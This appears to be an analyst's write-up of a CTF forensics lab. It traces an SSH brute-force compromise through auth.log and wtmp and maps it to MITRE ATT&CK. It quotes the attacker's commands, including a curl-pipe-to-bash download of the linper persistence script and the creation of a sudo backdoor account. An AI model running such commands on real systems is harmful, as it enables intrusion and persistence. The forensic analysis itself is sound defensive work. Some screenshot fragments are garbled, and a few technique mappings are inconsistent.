# **SOC** Analysis Report – SSH Brute Force Attack & MITRE TTP Mapping

Case Title: Sherlock Scenario — Investigation of SSH Compromise via auth.log & wtmp


Analyst: Aarush Nepali

Tools Used: grep, cut, sort, curl, ipinfo.io, auth.log, wtmp

**Date of Investigation:** 06-25-2025

### **1.** Dataset & Initial Exploration

The investigation was conducted on a forensic challenge provided via a ZIP file named Brutus.zip. After extracting the archive, I explored several log files within the extracted folder, including auth.log and wtmp. The initial focus was on SSH authentication activity logged in auth.log.



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| Screenshottaken | Pile Actions Edit View Help | Screenshottaken | Monormose/Brutus | Monormose/Brutu
```

## 2. Identifying Brute Force Attempts (MITRE T1110.001 – Password Guessing)

I began by parsing the auth.log file using terminal commands to uncover brute force activity:

```
bash
grep -i "unsuccessful" auth.log
```

No results were returned, indicating "unsuccessful" was not a matching keyword. I then adjusted the query:


```
bash
grep -i "fail" auth.log
```


This returned numerous failed login attempts. To further clean the results, I filtered out invalid users:


grep -i "failed password" auth.log | grep -v "invalid"

This revealed multiple failed SSH login attempts for the usernames backup and root, all originating from the IP address:

65.2.161.68








To extract specific fields like timestamp, username, and IP, I used:

grep -i "failed password" auth.log | grep -v "invalid" | cut -d ' ' -f1-4,10,12

```
| Lation | L
```



This returned entries with:

• **Date/Time:** March 6

Users: backup and rootIP Address: 65.2.161.68

To verify this IP address and gather OSINT, I queried:


curl ipinfo.io/65.2.161.68

#### The IP resolved to:

• City: Mumbai

Region: MaharashtraProvider: AWS EC2

These characteristics are consistent with automated brute-force bots hosted on public cloud infrastructure.



## 3. Compromise Validation (MITRE T1078 – Valid Accounts)

To validate if the brute-force attack led to successful access, I searched for accepted SSH logins using:

grep -i "accepted" auth.log | grep "65.2.161.68"

This revealed multiple successful logins — including one for root. To map session IDs, I correlated this with wtmp by inspecting terminal sessions using last or inspecting parsed output (via screenshots in the lab). I identified:

• Username: root


• Session Start: 2024-03-06 06:32:45 UTC

• Session ID: 37

• Session End: Around 06:37:34 UTC

• **Dwell Time:** Approximately 279 seconds (~4.5 minutes)

These details confirm the attacker established a terminal session and likely conducted post-exploitation activities.



## 4. Persistence Mechanism (MITRE T1098.001 – Account Manipulation)

While continuing analysis, I discovered the creation of a new user account named:

```
cyberjunkie
```

This was created using the following commands (observed from auth.log + command tracking via sudo):

```
useradd cyberjunkie usermod -aG sudo cyberjunkie
```

This indicates the attacker added a backdoor user and escalated it to **sudoers** — a common persistence technique.

```
| Setting | Part | Part
```

## **⑤** 5. Post-Exploitation Actions & Command Execution (MITRE T1105 & T1059.004)


The attacker used their elevated privileges to download and execute a remote payload. The command observed:


```
sudo /usr/bin/curl
https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh | bash
```


This aligns with:


- T1105 Ingress Tool Transfer
- T1059.004 Bash


Further log analysis also revealed attempted access to sensitive files, such as /etc/shadow, indicative of post-exploitation enumeration and potential privilege escalation.

















**✗** Indicators of Compromise (IOCs)

Type Value

IP Address 65.2.161.68

Attacker AWS EC2, Mumbai **OSINT** 

Usernames root (initial), cyberjunkie (persistence)

Payload https://raw.githubusercontent.com/montysecurity/linper/main/linper.

**URL** 

**Timestamp** 

2024-03-06  $06:32:45 \rightarrow 06:37:34$  UTC

Session ID 37



### **Defensive Gaps Identified**

- No SSH brute-force protection (fail2ban not detected)

  Weak or reused passwords for privileged users

  No monitoring or alerts on user account creation or sudoers file modification

  No command logging (auditd or bash history) evident from provided logs

### Recommendations

#### SSH Hardening

- Implement fail2ban or equivalent rate-limiting tools
- Enforce key-based authentication
- Restrict root login via SSH

#### **✓** Account Monitoring

- Monitor /etc/passwd, /etc/shadow, and /etc/sudoers for changes
- Log and alert on new user creation

### **✓** Threat Intel Integration

- Block known brute-force IPs (e.g., AWS cloud-hosted attack ranges)
- Integrate open-source feeds like AbuseIPDB or GreyNoise

#### **✓** Log Visibility

- Enable command auditing (e.g., auditd)
- Ship logs to centralized SIEM (Splunk, ELK, Sentinel)

## **SPACE ATT&CK Mapping**

Stage	<b>Technique Name</b>	ID
Initial Access	Brute Force - Password Guessing	T1110.001
Execution	Bash	T1059.004
Persistence	Create Account - Local	T1136.001
Privilege Escalation	Valid Accounts	T1078
Defense Evasion	Modify User Groups	T1098.001
Command & Control	Remote Payload via curl	T1105

## Summary

This project demonstrates how an attacker leveraged weak SSH credentials to brute force into a Confluence server, established persistence via account creation, and executed malicious payloads via remote download. Using basic Linux log parsing, I reconstructed the entire attacker timeline, validated compromises, and mapped observed behavior to the MITRE ATT&CK framework.